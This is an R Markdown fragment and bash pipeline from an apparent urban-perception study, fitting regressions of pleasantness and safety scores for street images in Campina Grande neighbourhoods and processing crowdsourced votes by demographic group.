#regAgrad <- lm(qscore ~ scale(countYoung) + scale(countOld) + scale(countMale) + scale(countMClass) + scale(countHighSchool) + scale(countGraduated) + scale(countMaster) + scale(countSingle) + scale(countMarried) + scale(countKnowsCenter) + scale(countKnowsLiberdade) + scale(countKnowsCatole) + scale(red) + scale(green) + scale(blue) + scale(diag) + scale(vert) + scale(hor) + bairro, data=dadosAgrad)
regAgrad <- lm(qscore ~ scale(countKnowsCenter) + scale(countKnowsLiberdade) + scale(countKnowsCatole) + bairro, data=dadosAgrad)
texreg(regAgrad)
print(">>>> Seg")
#regSeg <- lm(qscore ~ scale(countYoung) + scale(countOld) + scale(countMale) + scale(countMClass) + scale(countGraduated) + scale(countMaster) + scale(countSingle) + scale(countMarried) + scale(countKnowsCenter) + scale(countKnowsLiberdade) + scale(countKnowsCatole) + scale(red) + scale(green) + scale(blue) + scale(diag) + scale(vert) + scale(hor) + bairro, data=dadosSeg)
regSeg <- lm(qscore ~ scale(countKnowsCenter) + scale(countKnowsLiberdade) + scale(countKnowsCatole) + bairro, data=dadosSeg)
texreg(regSeg)
source('sjPlot/R/sjPlotLinreg.R')
source('sjPlot/R/helpfunctions.R')
source('sjPlot/R/sjPlotSetTheme.R')
library("ggplot2")
library("sjPlot")
library("sjmisc")
sjp.setTheme(axis.title.size = 1.0, axis.textsize = 1.0, legend.size = .8, geom.label.size = 3.5, legend.pos = "left", title.align = "center", legend.inside = FALSE, geom.label.angle = 0)
#sjp.lm(regAgrad, title="", sort.est=FALSE, axisLabels.y=c("Jovem", "Adulto", "Homem", "Cla. Média", "Ens. Médio", "Graduação", "Mestrado", "Solteiro", "Casado", "Conhece Centro", "Conhece Liberdade", "Conhece Catolé", "Vermelho", "Verde", "Azul", "Diagonais", "Verticais", "Horizontais", "É Centro?", "É Liberdade?"), axisTitle.x="Estimativas dos Coeficientes")
sjp.lm(regAgrad, title="", sort.est=FALSE, axisLabels.y=c("Conhece Centro", "Conhece Liberdade", "Conhece Catolé", "É Centro?", "É Liberdade?"), axisTitle.x="Estimativas dos Coeficientes")
#sjp.lm(regSeg, title="", sort.est=FALSE, axisLabels.y=c("Jovem", "Adulto", "Homem", "Cla. Média", "Graduação", "Mestrado", "Solteiro", "Casado", "Conhece Centro", "Conhece Liberdade", "Conhece Catolé", "Vermelho", "Verde", "Azul", "Diagonais", "Verticais", "Horizontais", "É Centro?", "É Liberdade?"), axisTitle.x="Estimativas dos Coeficientes")
sjp.lm(regSeg, title="", sort.est=FALSE, axisLabels.y=c("Conhece Centro", "Conhece Liberdade", "Conhece Catolé", "É Centro?", "É Liberdade?"), axisTitle.x="Estimativas dos Coeficientes")
```
## Tabela com Modelos para Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=4, out.width=4}
texreg(list(modeloAgradGeral, modeloAgradAdulto, modeloAgradJovem, modeloAgradBaixa, modeloAgradMedia), custom.model.names=c("Geral", "Adulto", "Jovem", "Baixa", "Media"), caption="Modelo de Regressão para Agradável")
texreg(list(modeloAgradGeral, modeloAgradFeminino, modeloAgradMasculino, modeloAgradSolteiro, modeloAgradCasado), custom.model.names=c("Geral", "Feminino", "Masculino", "Solteiro", "Casado"), caption="Modelo de Regressão para Agradável")
texreg(list(modeloAgradGeral, modeloAgradMedio, modeloAgradPos), custom.model.names=c("Geral", "Medio", "Pos"), caption="Modelo de Regressão para Agradável")
```
## Tabelas com Modelos para Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=4, out.width=4}
texreg(list(modeloSegGeral, modeloSegAdulto, modeloSegJovem, modeloSegBaixa, modeloSegMedia), custom.model.names=c("Geral", "Adulto", "Jovem", "Baixa", "Media"), caption="Modelo de Regressão para Seguro")
texreg(list(modeloSegGeral, modeloSegFeminino, modeloSegMasculino, modeloSegSolteiro, modeloSegCasado), custom.model.names=c("Geral", "Feminino", "Masculino", "Solteiro", "Casado"), caption="Modelo de Regressão para Seguro")
texreg(list(modeloSegGeral, modeloSegMedio, modeloSegPos), custom.model.names=c("Geral", "Medio", "Pos"), caption="Modelo de Regressão para Seguro")
```<file_sep>#!/bin/bash
python analisaUsuarios.py run.csv
#Separa grupos de usuarios
python selectRunPerUsers.py run.csv media.dat > runMedia.csv
python selectRunPerUsers.py run.csv baixa.dat > runBaixa.csv
python selectRunPerUsers.py run.csv adulto.dat > runAdulto.csv
python selectRunPerUsers.py run.csv jovem.dat > runJovem.csv
python selectRunPerUsers.py run.csv solteiro.dat > runSolteiro.csv
python selectRunPerUsers.py run.csv casado.dat > runCasado.csv
python selectRunPerUsers.py run.csv feminino.dat > runFeminino.csv
python selectRunPerUsers.py run.csv masculino.dat > runMasculino.csv
python selectRunPerUsers.py run.csv medio.dat > runMedio.csv
python selectRunPerUsers.py run.csv posgrad.dat > runPos.csv
python selectRunPerUsers.py run.csv catole.dat > runCatole.csv
python selectRunPerUsers.py run.csv centro.dat > runCentro.csv
python selectRunPerUsers.py run.csv liberdade.dat > runLiberdade.csv
python selectRunPerUsers.py run.csv notcatole.dat > runNotCatole.csv
python selectRunPerUsers.py run.csv notcentro.dat > runNotCentro.csv
python selectRunPerUsers.py run.csv notliberdade.dat > runNotLiberdade.csv
mv alta.dat baixa.dat adulto.dat jovem.dat solteiro.dat casado.dat feminino.dat masculino.dat medio.dat posgrad.dat catole.dat centro.dat liberdade.dat notcentro.dat notliberdade.dat notcatole.dat idsGrupos
#Analisa QScores
python analisaQScore.py run.csv
mv first.dat first_vote.dat
python analisaQScore.py runAdulto.csv 100
mv first.dat firstAdulto.dat
mv all.dat allAdulto.dat
python analisaQScore.py runJovem.csv 100
mv first.dat firstJovem.dat
mv all.dat allJovem.dat
python analisaQScore.py runSolteiro.csv 100
mv first.dat firstSolteiro.dat
mv all.dat allSolteiro.dat
python analisaQScore.py runCasado.csv 100
mv first.dat firstCasado.dat
mv all.dat allCasado.dat
python analisaQScore.py runMedia.csv 100
mv first.dat firstMedia.dat
mv all.dat allMedia.dat
python analisaQScore.py runBaixa.csv 100
mv first.dat firstBaixa.dat
mv all.dat allBaixa.dat
python analisaQScore.py runFeminino.csv 100
mv first.dat firstFeminino.dat
mv all.dat allFeminino.dat
python analisaQScore.py runMasculino.csv 100
mv first.dat firstMasculino.dat
mv all.dat allMasculino.dat
python analisaQScore.py runMedio.csv 100
mv first.dat firstMedio.dat
mv all.dat allMedio.dat
python analisaQScore.py runPos.csv 100
mv first.dat firstPos.dat
mv all.dat allPos.dat
python analisaQScore.py runCatole.csv 100
mv first.dat firstCatole.dat
mv all.dat allCatole.dat
python analisaQScore.py runCentro.csv 100
mv first.dat firstCentro.dat
mv all.dat allCentro.dat
python analisaQScore.py runLiberdade.csv 100
mv first.dat firstLiberdade.dat
mv all.dat allLiberdade.dat
python analisaQScore.py runNotCatole.csv 100
mv first.dat firstNotCatole.dat
mv all.dat allNotCatole.dat
python analisaQScore.py runNotCentro.csv 100
mv first.dat firstNotCentro.dat
mv all.dat allNotCentro.dat
python analisaQScore.py runNotLiberdade.csv 100
mv first.dat firstNotLiberdade.dat
mv all.dat allNotLiberdade.dat
sort -k 3 -r first_vote.dat > first_vote_ordenado.dat
sort -k 3 -r all.dat > all_ordenado.dat
sort -k 3 -r firstMedia.dat > firsMediaOrd.dat
sort -k 3 -r firstBaixa.dat > firsBaixaOrd.dat
sort -k 3 -r firstSolteiro.dat > firsSolteiroOrd.dat
sort -k 3 -r firstCasado.dat > firsCasadoOrd.dat
sort -k 3 -r firstFeminino.dat > firsFemininoOrd.dat
sort -k 3 -r firstMasculino.dat > firsMasculinoOrd.dat
sort -k 3 -r firstJovem.dat > firsJovemOrd.dat
sort -k 3 -r firstAdulto.dat > firsAdultoOrd.dat
sort -k 3 -r firstMedio.dat > firsMedioOrd.dat
sort -k 3 -r firstPost.dat > firsPosOrd.dat
sort -k 3 -r firstCatole.dat > firsCatoleOrd.dat
sort -k 3 -r firstCentro.dat > firsCentroOrd.dat
sort -k 3 -r firstLiberdade.dat > firsLiberdadeOrd.dat
sort -k 3 -r firstNotCatole.dat > firsNotCatoleOrd.dat
sort -k 3 -r firstNotCentro.dat > firsNotCentroOrd.dat
sort -k 3 -r firstNotLiberdade.dat > firsNotLiberdadeOrd.dat
#Ordenando pelo valor médio
sort -k 3 -r allMedia.dat > allMediaOrd.dat
sort -k 3 -r allBaixa.dat > allBaixaOrd.dat
sort -k 3 -r allSolteiro.dat > allSolteiroOrd.dat
sort -k 3 -r allCasado.dat > allCasadoOrd.dat
sort -k 3 -r allFeminino.dat > allFemininoOrd.dat
sort -k 3 -r allMasculino.dat > allMasculinoOrd.dat
sort -k 3 -r allJovem.dat > allJovemOrd.dat
sort -k 3 -r allAdulto.dat > allAdultoOrd.dat
sort -k 3 -r allMedio.dat > allMedioOrd.dat
sort -k 3 -r allPos.dat > allPosOrd.dat
sort -k 3 -r allCatole.dat > allCatoleOrd.dat
sort -k 3 -r allCentro.dat > allCentroOrd.dat
sort -k 3 -r allLiberdade.dat > allLiberdadeOrd.dat
sort -k 3 -r allNotCatole.dat > allNotCatoleOrd.dat
sort -k 3 -r allNotCentro.dat > allNotCentroOrd.dat
sort -k 3 -r allNotLiberdade.dat > allNotLiberdadeOrd.dat
#Calculating Moran I Geral(falta revisar)
./processInputLatLong.sh first_vote.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongFirst.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLong.dat > streetsQScoresLatLongAgra.dat
grep "seguro?" streetsQScoresLatLong.dat > streetsQScoresLatLongSeg.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgra.dat streetsQScoresLatLongSeg.dat > moran.dat
./processInputLatLong.sh all.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAll.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAll.dat > streetsQScoresLatLongAgraAll.dat
grep "seguro?" streetsQScoresLatLongAll.dat > streetsQScoresLatLongSegAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAll.dat streetsQScoresLatLongSegAll.dat > moranAll.dat
#Por grupo
./processInputLatLong.sh allAdulto.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllAdulto.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllAdulto.dat > streetsQScoresLatLongAgraAllAdulto.dat
grep "seguro?" streetsQScoresLatLongAllAdulto.dat > streetsQScoresLatLongSegAllAdulto.dat
echo "Adulto" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllAdulto.dat streetsQScoresLatLongSegAllAdulto.dat >> moranAll.dat
./processInputLatLong.sh allJovem.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllJovem.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllJovem.dat > streetsQScoresLatLongAgraAllJovem.dat
grep "seguro?" streetsQScoresLatLongAllJovem.dat > streetsQScoresLatLongSegAllJovem.dat
echo "Jovem" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllJovem.dat streetsQScoresLatLongSegAllJovem.dat >> moranAll.dat
./processInputLatLong.sh allFeminino.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllFeminino.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllFeminino.dat > streetsQScoresLatLongAgraAllFeminino.dat
grep "seguro?" streetsQScoresLatLongAllFeminino.dat > streetsQScoresLatLongSegAllFeminino.dat
echo "Feminino" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllFeminino.dat streetsQScoresLatLongSegAllFeminino.dat >> moranAll.dat
./processInputLatLong.sh allMasculino.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMasculino.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMasculino.dat > streetsQScoresLatLongAgraAllMasculino.dat
grep "seguro?" streetsQScoresLatLongAllMasculino.dat > streetsQScoresLatLongSegAllMasculino.dat
echo "Masculino" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMasculino.dat streetsQScoresLatLongSegAllMasculino.dat >> moranAll.dat
./processInputLatLong.sh allCasado.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllCasado.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllCasado.dat > streetsQScoresLatLongAgraAllCasado.dat
grep "seguro?" streetsQScoresLatLongAllCasado.dat > streetsQScoresLatLongSegAllCasado.dat
echo "Casado" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllCasado.dat streetsQScoresLatLongSegAllCasado.dat >> moranAll.dat
./processInputLatLong.sh allSolteiro.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllSolteiro.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllSolteiro.dat > streetsQScoresLatLongAgraAllSolteiro.dat
grep "seguro?" streetsQScoresLatLongAllSolteiro.dat > streetsQScoresLatLongSegAllSolteiro.dat
echo "Solteiro" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllSolteiro.dat streetsQScoresLatLongSegAllSolteiro.dat >> moranAll.dat
./processInputLatLong.sh allBaixa.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllBaixa.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllBaixa.dat > streetsQScoresLatLongAgraAllBaixa.dat
grep "seguro?" streetsQScoresLatLongAllBaixa.dat > streetsQScoresLatLongSegAllBaixa.dat
echo "Baixa" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllBaixa.dat streetsQScoresLatLongSegAllBaixa.dat >> moranAll.dat
./processInputLatLong.sh allMedia.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMedia.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMedia.dat > streetsQScoresLatLongAgraAllMedia.dat
grep "seguro?" streetsQScoresLatLongAllMedia.dat > streetsQScoresLatLongSegAllMedia.dat
echo "Media" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMedia.dat streetsQScoresLatLongSegAllMedia.dat >> moranAll.dat
./processInputLatLong.sh allMedio.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllMedio.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllMedio.dat > streetsQScoresLatLongAgraAllMedio.dat
grep "seguro?" streetsQScoresLatLongAllMedio.dat > streetsQScoresLatLongSegAllMedio.dat
echo "Medio" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllMedio.dat streetsQScoresLatLongSegAllMedio.dat >> moranAll.dat
./processInputLatLong.sh allPos.dat
mv streetsQScoresLatLong.dat streetsQScoresLatLongAllPos.dat
grep "agrad%C3%A1vel?" streetsQScoresLatLongAllPos.dat > streetsQScoresLatLongAgraAllPos.dat
grep "seguro?" streetsQScoresLatLongAllPos.dat > streetsQScoresLatLongSegAllPos.dat
echo "Pos" >> moranAll.dat
Rscript krippMoran.R moran streetsQScoresLatLongAgraAllPos.dat streetsQScoresLatLongSegAllPos.dat >> moranAll.dat
mkdir moran100
mv streetsQScoresLatLongAll*.dat streetsQScoresLatLongAgraAll* streetsQScoresLatLongSegAll* moranAll.dat moran100/
#Encontra interseccao entre qscores gerados
python encontraInterseccao.py firsBaixaOrd.dat firsMediaOrd.dat > intersectionBaixaMedia.dat
python encontraInterseccao.py firsSolteiroOrd.dat firsCasadoOrd.dat > intersectionSolteiroCasado.dat
python encontraInterseccao.py firsFemininoOrd.dat firsMasculinoOrd.dat > intersectionFemininoMasculino.dat
python encontraInterseccao.py firsJovemOrd.dat firsAdultoOrd.dat > intersectionJovemAdulto.dat
python encontraInterseccao.py firsCentroOrd.dat firsNotCentroOrd.dat > intersectionCentro.dat
python encontraInterseccao.py firsLiberdadeOrd.dat firsNotLiberdadeOrd.dat > intersectionLiberdade.dat
python encontraInterseccao.py firsCatoleOrd.dat firsNotCatoleOrd.dat > intersectionCatole.dat
python encontraInterseccao.py allBaixaOrd.dat allMediaOrd.dat > intersectionAllBaixaMedia.dat
python encontraInterseccao.py allSolteiroOrd.dat allCasadoOrd.dat > intersectionAllSolteiroCasado.dat
python encontraInterseccao.py allFemininoOrd.dat allMasculinoOrd.dat > intersectionAllFemininoMasculino.dat
python encontraInterseccao.py allJovemOrd.dat allAdultoOrd.dat > intersectionAllJovemAdulto.dat
python encontraInterseccao.py allMedioOrd.dat allPosOrd.dat > intersectionAllMedioPos.dat
python encontraInterseccao.py allCentroOrd.dat allNotCentroOrd.dat > intersectionAllCentro.dat
python encontraInterseccao.py allLiberdadeOrd.dat allNotLiberdadeOrd.dat > intersectionAllLiberdade.dat
python encontraInterseccao.py allCatoleOrd.dat allNotCatoleOrd.dat > intersectionAllCatole.dat
#Prepara paginas html e arquivos de interseccao ordenados (revisar a partir daqui)
python preparaHTML.py first_vote_ordenado.dat
python preparaHTML.py all_ordenado.dat
python preparaHTML.py firsJovemOrd.dat intersectionJovemAdulto.dat > firsJovemOrdInter.dat
mv question.html questionJovem.html
python preparaHTML.py firsAdultoOrd.dat intersectionJovemAdulto.dat > firsAdultoOrdInter.dat
mv question.html questionAdulto.html
python preparaHTML.py firsMediaOrd.dat intersectionBaixaMedia.dat > firsMediaOrdInter.dat
mv question.html questionMedia.html
python preparaHTML.py firsBaixaOrd.dat intersectionBaixaMedia.dat > firsBaixaOrdInter.dat
mv question.html questionBaixa.html
python preparaHTML.py firsFemininoOrd.dat intersectionFemininoMasculino.dat > firsFemininoOrdInter.dat
mv question.html questionFeminino.html
python preparaHTML.py firsMasculinoOrd.dat intersectionFemininoMasculino.dat > firsMasculinoOrdInter.dat
mv question.html questionMasculino.html
python preparaHTML.py firsCasadoOrd.dat intersectionSolteiroCasado.dat > firsCasadoOrdInter.dat
mv question.html questionCasado.html
python preparaHTML.py firsSolteiroOrd.dat intersectionSolteiroCasado.dat > firsSolteiroOrdInter.dat
mv question.html questionSolteiro.html
python preparaHTML.py firsCentroOrd.dat intersectionCentro.dat > firsCentroOrdInter.dat
grep "centro" firsCentroOrdInter.dat > tmp.dat
mv tmp.dat firsCentroOrdInter.dat
mv question.html questionCentro.html
python preparaHTML.py firsNotCentroOrd.dat intersectionCentro.dat > firsNotCentroOrdInter.dat
grep "centro" firsNotCentroOrdInter.dat > tmp.dat
mv tmp.dat firsNotCentroOrdInter.dat
mv question.html questionNotCentro.html
python preparaHTML.py firsCatoleOrd.dat intersectionCatole.dat > firsCatoleOrdInter.dat
grep "catole" firsCatoleOrdInter.dat > tmp.dat
mv tmp.dat firsCatoleOrdInter.dat
mv question.html questionCatole.html
python preparaHTML.py firsNotCatoleOrd.dat intersectionCatole.dat > firsNotCatoleOrdInter.dat
grep "catole" firsNotCatoleOrdInter.dat > tmp.dat
mv tmp.dat firsNotCatoleOrdInter.dat
mv question.html questionNotCatole.html
python preparaHTML.py firsLiberdadeOrd.dat intersectionLiberdade.dat > firsLiberdadeOrdInter.dat
grep "liberdade" firsLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat firsLiberdadeOrdInter.dat
mv question.html questionLiberdade.html
python preparaHTML.py firsNotLiberdadeOrd.dat intersectionLiberdade.dat > firsNotLiberdadeOrdInter.dat
grep "liberdade" firsNotLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat firsNotLiberdadeOrdInter.dat
mv question.html questionNotLiberdade.html
#Considerando todos os votos (qscore médio)
python preparaHTML.py allJovemOrd.dat intersectionAllJovemAdulto.dat > allJovemOrdInter.dat
mv question.html questionAllJovem.html
python preparaHTML.py allAdultoOrd.dat intersectionAllJovemAdulto.dat > allAdultoOrdInter.dat
mv question.html questionAllAdulto.html
python preparaHTML.py allMediaOrd.dat intersectionAllBaixaMedia.dat > allMediaOrdInter.dat
mv question.html questionAllMedia.html
python preparaHTML.py allBaixaOrd.dat intersectionAllBaixaMedia.dat > allBaixaOrdInter.dat
mv question.html questionAllBaixa.html
python preparaHTML.py allFemininoOrd.dat intersectionAllFemininoMasculino.dat > allFemininoOrdInter.dat
mv question.html questionAllFeminino.html
python preparaHTML.py allMasculinoOrd.dat intersectionAllFemininoMasculino.dat > allMasculinoOrdInter.dat
mv question.html questionAllMasculino.html
python preparaHTML.py allCasadoOrd.dat intersectionAllSolteiroCasado.dat > allCasadoOrdInter.dat
mv question.html questionAllCasado.html
python preparaHTML.py allSolteiroOrd.dat intersectionAllSolteiroCasado.dat > allSolteiroOrdInter.dat
mv question.html questionAllSolteiro.html
python preparaHTML.py allMedioOrd.dat intersectionAllMedioPos.dat > allMedioOrdInter.dat
mv question.html questionAllMedio.html
python preparaHTML.py allPosOrd.dat intersectionAllMedioPos.dat > allPosOrdInter.dat
mv question.html questionAllPos.html
python preparaHTML.py allCentroOrd.dat intersectionAllCentro.dat > allCentroOrdInter.dat
grep "centro" allCentroOrdInter.dat > tmp.dat
mv tmp.dat allCentroOrdInter.dat
mv question.html questionAllCentro.html
python preparaHTML.py allNotCentroOrd.dat intersectionAllCentro.dat > allNotCentroOrdInter.dat
grep "centro" allNotCentroOrdInter.dat > tmp.dat
mv tmp.dat allNotCentroOrdInter.dat
mv question.html questionAllNotCentro.html
python preparaHTML.py allCatoleOrd.dat intersectionAllCatole.dat > allCatoleOrdInter.dat
grep "catole" allCatoleOrdInter.dat > tmp.dat
mv tmp.dat allCatoleOrdInter.dat
mv question.html questionAllCatole.html
python preparaHTML.py allNotCatoleOrd.dat intersectionAllCatole.dat > allNotCatoleOrdInter.dat
grep "catole" allNotCatoleOrdInter.dat > tmp.dat
mv tmp.dat allNotCatoleOrdInter.dat
mv question.html questionAllNotCatole.html
python preparaHTML.py allLiberdadeOrd.dat intersectionAllLiberdade.dat > allLiberdadeOrdInter.dat
grep "liberdade" allLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat allLiberdadeOrdInter.dat
mv question.html questionAllLiberdade.html
python preparaHTML.py allNotLiberdadeOrd.dat intersectionAllLiberdade.dat > allNotLiberdadeOrdInter.dat
grep "liberdade" allNotLiberdadeOrdInter.dat > tmp.dat
mv tmp.dat allNotLiberdadeOrdInter.dat
mv question.html questionAllNotLiberdade.html
mkdir rankings100
mv question*.html rankings100
#Combina RGB, #Linhas e criterios
python combinaRGBQScoreLinhas.py rgb.dat first_vote_ordenado.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradFirst.dat
mv rgbQScoreSeg.dat rgbQScoreSegFirst.dat
python combinaRGBQScoreLinhas.py rgb.dat all_ordenado.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAll.dat
mv rgbQScoreSeg.dat rgbQScoreSegAll.dat
python combinaRGBQScoreLinhas.py rgb.dat firsAdultoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAdulto.dat
mv rgbQScoreSeg.dat rgbQScoreSegAdulto.dat
python combinaRGBQScoreLinhas.py rgb.dat firsJovemOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradJovem.dat
mv rgbQScoreSeg.dat rgbQScoreSegJovem.dat
python combinaRGBQScoreLinhas.py rgb.dat firsMediaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradMedia.dat
mv rgbQScoreSeg.dat rgbQScoreSegMedia.dat
python combinaRGBQScoreLinhas.py rgb.dat firsBaixaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradBaixa.dat
mv rgbQScoreSeg.dat rgbQScoreSegBaixa.dat
python combinaRGBQScoreLinhas.py rgb.dat firsFemininoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradFeminino.dat
mv rgbQScoreSeg.dat rgbQScoreSegFeminino.dat
python combinaRGBQScoreLinhas.py rgb.dat firsMasculinoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradMasculino.dat
mv rgbQScoreSeg.dat rgbQScoreSegMasculino.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCasadoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCasado.dat
mv rgbQScoreSeg.dat rgbQScoreSegCasado.dat
python combinaRGBQScoreLinhas.py rgb.dat firsSolteiroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradSolteiro.dat
mv rgbQScoreSeg.dat rgbQScoreSegSolteiro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat firsNotLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradNotLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegNotLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsNotCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradNotCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegNotCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat firsCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegCatole.dat
python combinaRGBQScoreLinhas.py rgb.dat firsNotCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradNotCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegNotCatole.dat
#Considerando todos os votos (qscore médio)
python combinaRGBQScoreLinhas.py rgb.dat allAdultoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllAdulto.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllAdulto.dat
python combinaRGBQScoreLinhas.py rgb.dat allJovemOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllJovem.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllJovem.dat
python combinaRGBQScoreLinhas.py rgb.dat allMediaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMedia.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMedia.dat
python combinaRGBQScoreLinhas.py rgb.dat allBaixaOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllBaixa.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllBaixa.dat
python combinaRGBQScoreLinhas.py rgb.dat allFemininoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllFeminino.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllFeminino.dat
python combinaRGBQScoreLinhas.py rgb.dat allMasculinoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMasculino.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMasculino.dat
python combinaRGBQScoreLinhas.py rgb.dat allCasadoOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCasado.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCasado.dat
python combinaRGBQScoreLinhas.py rgb.dat allSolteiroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllSolteiro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllSolteiro.dat
python combinaRGBQScoreLinhas.py rgb.dat allMedioOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllMedio.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllMedio.dat
python combinaRGBQScoreLinhas.py rgb.dat allPosOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllPos.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllPos.dat
python combinaRGBQScoreLinhas.py rgb.dat allCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotCentroOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotCentro.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotCentro.dat
python combinaRGBQScoreLinhas.py rgb.dat allLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotLiberdadeOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotLiberdade.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotLiberdade.dat
python combinaRGBQScoreLinhas.py rgb.dat allCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllCatole.dat
python combinaRGBQScoreLinhas.py rgb.dat allNotCatoleOrdInter.dat lines.dat
mv rgbQScoreAgrad.dat rgbQScoreAgradAllNotCatole.dat
mv rgbQScoreSeg.dat rgbQScoreSegAllNotCatole.dat
mkdir inputCorrelacaoRegressao100
mv rgbQScore*.dat inputCorrelacaoRegressao100/
#Combina todos os arquivos de entrada em um arquivo para análise
for file in `ls all*OrdInter.dat` ; do
sed -i "s/https:\/\/contribua.org\/bairros\/norte\///g" $file
sed -i "s/https:\/\/contribua.org\/bairros\/oeste\///g" $file
done
Rscript combinaEntradas.R
python combinaEntradas.py temp.dat entradaGrupos.dat
rm -f temp.dat
#Analisa Correlacao
